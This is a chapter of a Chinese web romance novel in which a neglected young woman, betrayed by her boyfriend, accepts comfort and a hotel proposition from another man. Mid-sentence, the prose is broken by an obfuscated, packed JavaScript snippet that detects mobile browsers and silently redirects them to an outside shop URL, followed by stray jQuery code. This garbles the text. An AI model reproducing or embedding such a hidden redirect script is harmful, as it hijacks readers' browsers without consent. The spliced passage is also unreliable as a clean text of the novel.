魏听因第一次遇见穆楚枫,是在高一下半学期。
那时候她因为被继母诬陷偷东西而不得不从T城转学回到了Z城,好在重新组建了家庭的母亲没有完全忘掉这个女儿,为她办了住校,她只需要在周末和假期忍受在舅舅家寄人篱下的生活。
辗转在不同的家庭里,她一直充当着一个逆来顺受的受气包,本以为只要自己够听话就可以过得稍微好一点,但是继母变本加厉的苛待彻底打碎了她自欺欺人的幻想。
所以哪怕离开了那个环境,泥泞的过去却还像紧紧裹缠着她的藤蔓,让她变得越来越沉闷。
幸好高中的学习压力很大,像她这样每天埋头苦学、不爱说话的人不在少数,这种游离于人群之外的感觉让她莫名地感觉很安全——
因为没有人会想要了解她,她也不用像之前那样编一整套逻辑自洽的措辞来使自己的家庭看起来正常。
她不用在忍受继母的责骂后在学校里表现出她也有妈妈疼爱的样子。
或许是多年紧绷的心弦骤然得到了放松,导致她被磨炼得几乎无坚不摧的免疫系统出现了纰漏——
她感冒发烧了。
班主任是个很负责的女老师,在察觉到她身体状况不对劲后就让她给家长打电话来带她去医院看病。
外面的雨越下越大,她站在办公室门口的走廊上拨打了那个令她熟记于心的号码,在接通时怀着小心翼翼的希冀叫了一声:“妈。”
在那天以前,她以为刘颖只是迫于新家庭的压力才不能抚养她,只是因为之前Z城和T城离得太远了,所以妈妈才不能时时关心她。
其实,她是爱她的。
哪有妈妈会不爱自己的女儿呢?
但是刘颖不耐烦的声音通过听筒传进她耳朵里,让盛夏的雨透出了几分萧瑟的寒意。
“你不好好上课,给我打电话干什么?我正在给小远开家长会呢,没空跟你闲聊。”
电话挂断的忙音彻底堵住了她微微张开的嘴,那句没来得及说出口的“妈妈,我好像发烧了,你可不可以来接我”就这样被她就着五楼外的潇潇雨咽回了肚子里。
其实她早该明白的。
自从刘颖生下李远的那一刻起,她就不再是她的妈妈了。
上课铃声响起,教室外的学生纷纷往教室里钻,魏听因看着楼下瞬间空旷下来的走廊,深吸了一口气,平静地走回办公室,跟班主任撒谎说等会她妈妈就会来接她,然后带着假条离开了教学楼。
外面的雨停了一阵,所以心绪烦乱的她忘了带伞,心里只盘算着买完药之后这个月生活费还能剩下多少,直到走出校门,一场卷土重来的大雨把她拦在了保安室外的屋檐下。
她伸手去接滴落的雨珠,心想,等公交车到了,她就冒雨跑过去,反正离这里只有不到一百米的距离。
“同学,你没带伞吗?”一道陌生的声音打断了她的思索。
她回头看了一眼,只见一个戴着黑框眼镜的清秀男生从大门走了出来,将手里的折叠伞递给她:“我爸马上到了,伞先借你吧。”
他话音刚落,一辆黑色的轿车就停在了学校门口,男生没多废话,直接把伞塞到了她手里,然后一溜烟儿就钻进了车里。
魏听因愣愣地看着手上的折叠伞,第一次认真地记住了一个陌生人的长相,随即后知后觉自己刚刚忘了问他的名字。
因为那把伞,她得以从容地走到马路对面的公交车站,没在那个雨天变得更加狼狈。
后来她再见到他,是在高一年底的期末总结大会上,他们作为文理科第一名一起上台领了奖,那天她才知道他的名字叫穆楚枫。
那个雨天和那把伞都没在他心里留下什么印象,以至于他们一起考入B大后,穆楚枫在第一次老乡会上对她说:“我们第一次见面是在高一期末的颁奖礼上吧?你那时候就很漂亮,我们班很多男生都暗恋过你。”
彼时魏听因笑着说“是吗”,心里却为困在十五岁的那场阵雨里的女孩感到难过。
不过也好,他记忆里他们的初遇是光鲜亮丽的、势均力敌的。
可惜这场被她藏在心中的暗恋最终也没有一个好结果,他们顺理成章在一起后,她却发现穆楚枫和她用记忆碎片拼凑出来的少年截然不同。
她甚至不明白自己对他究竟是什么感情,比起心动与倾慕,她在那个雨天萌生的情愫或许更类似于一种吊桥效应。
所以当他们开始谈恋爱,她才惊觉自己完全不知道该如何去当一个合格的女朋友,更不知道应该怎样和他相处,她甚至抗拒他的亲近,并且时常对他展露出的窥探欲感到畏惧。
或许是因为,从小到大,她从未在身边的长辈身上看到过正常的婚姻和爱情,似乎争执、出轨、互相揭短才是家庭与恋爱的常态。
穆楚枫不止一次对她说:“听因,我好像一点都不了解你。”
她有什么值得被人了解的吗?
好像并没有。
她的家庭、她的过去、她不为人知的愤怒和无助,都不是什么值得说到台面上的东西。
她不想把自己的过往剖析给别人看,那些怜悯和同情对她来说甚至比鄙夷还要刺眼。
她已经踽踽独行了太长时间,以至于根本不知道要怎样去建立亲密关系。所以她第一次将自己在情感上的困惑告诉了孙一婷,希望能慢慢地学着去成为一个合格的女朋友。
孙一婷谈过很多次恋爱,经验十分丰富,正愁自己的满腹“才华”无处施展,一听魏听因向她请教怎么谈恋爱,直接密密麻麻给她列出了一百条“恋爱必做”的甜蜜小事。
魏听因看得有些头晕,准备先从最简单的开始做起,于是在晚上结束家教后给穆楚枫发了微信,约他周末一起去游乐场。
地铁站也在西门附近,她发消息的时候正好走进那个树木葱郁的小公园,然后就接到了穆楚枫打来的电话。
距离他们上次冷战已经过去了两天,他的气应该已经消了。
魏听因接听了电话,想学着软化态度向他道歉,然后就听到了女生难耐的喘息声,以及,穆楚枫的声音。
她不知道电话是什么时候挂掉的,也不知道是什么时候下起的雨,只看到手机的屏幕不断亮起——是孙一婷给她发了微信,长篇大论地吐槽宋湘,并且催她快点回去。
她一点也不想回去,不想被卷入她们之间的矛盾中,更不想因为这副失魂落魄的模样被孙一婷追问“怎么了”。
没怎么,不过是又一次期望落空而已。
她坐在小池塘旁边的木椅上,任雨水把自己身上的衣服打湿,心里竟没有被背叛的愤怒,只剩下一片“果然如此”的荒凉。
短短十八年的人生,无论是亲情、友情还是爱情,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546019|204149||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竟然都逃不过“狗尾续貂”的宿命。
何必期待,何必认真,反正她似乎永远也难以逃离这个纠缠她许久的荒唐命运。
雨停了吗。
她抬起头,被雨水打湿的额发还往下淌着水珠,一时让人分不清她是否流了泪。
柯蕴打着伞站在她面前,微微下压的眼尾在葳蕤的灯光中被染上了几分暖色,看起来就像,他在为她这个素不相识的陌生人而感到心疼。
魏听因迟钝地笑了一下。
总是在雨天,让她一遍又一遍地产生错觉。
“下雨了。”柯蕴垂眸看着她,“我送你回去。”
魏听因摇了摇头:“我不想回去。”
“你想去哪?”
魏听因仰起脸看他,眼泪毫无预兆地冲出眼眶,迷蒙了她的视线。
她想去哪?
好像自从外婆去世后,这世上就再也没有一个可以收留魏听因的地方了。
她被永远地困在了七岁那年的暴雨中,颠沛流离了十年,在逃离了寄人篱下、仰人鼻息的环境后,仍旧无家可归。
她谨小慎微、努力地长大,却并没有成为一个自由又勇敢的大人。
无论选择如何,结局都殊途同归,不是吗?
是不是命该如此。
“柯蕴。”她轻声叫他。
她早就在孙一婷那里无数次听到过关于他的事情。
像他这样的人,一路顺风顺水,所行皆是坦途,永远都被命运所眷顾,和她截然不同,单是站在她面前都像是命运恶意的嘲讽。
他为什么恰好出现在这里?这半年来他们无数次偶然的相遇真的是巧合吗?他究竟想干什么?
她像一个彻底放弃挣扎的溺水者,在无止尽的暴雨中任由自己坠向深处,竟然难得地感受到了一点轻松。
为什么不放弃呢?好像用力地活着也依旧没有好下场。
雨越下越大了,夜风卷着雨丝把他们身上的衣服打湿了大半。
可是身上的潮湿却没有熄灭心头的邪火。
柯蕴看着她满是泪痕的脸,喉咙干涩得说不出一句话,纵使在心中告诫过自己无数次不能趁人之危,却还是忍不住伸手将她抱进了怀里。
然后听到她说:“我们去开房吧。”
他愣了一下,抱着她的胳膊不自觉地收紧:“你知道自己在说什么吗?”
魏听因的眼睛里仍旧是迷蒙一片,一瞬不瞬地盯着旁边的池塘,小幅度地点了点头。
柯蕴伸手扣住她的下巴,低头凑近,近乎强横地吻了下去。
雨珠落在池塘里,点缀出层层涟漪,树影重重的小公园几乎只剩下了穿林打叶的雨声。
在攫取了她的呼吸后,他强迫她抬头看她,声音喑哑地问道:“现在呢,还想去吗?”
魏听因不知道是不是自己破罐子破摔之后产生了生理变化,竟然对他的拥抱乃至亲吻没有任何抵触。
她不知道自己到底在干什么,好像只想做点什么来把过往十八年塑出的自己狠狠摔碎。
于是她再次点了点头。
柯蕴忽然笑了一声,脸上却没有任何愉悦的表情。
他说:“行啊。”
道德的枷锁说碎就碎,无论怎样粉饰过往,他都难以否认,在那天晚上,他的确是铁了心要当一个插足于他人感情的第三者。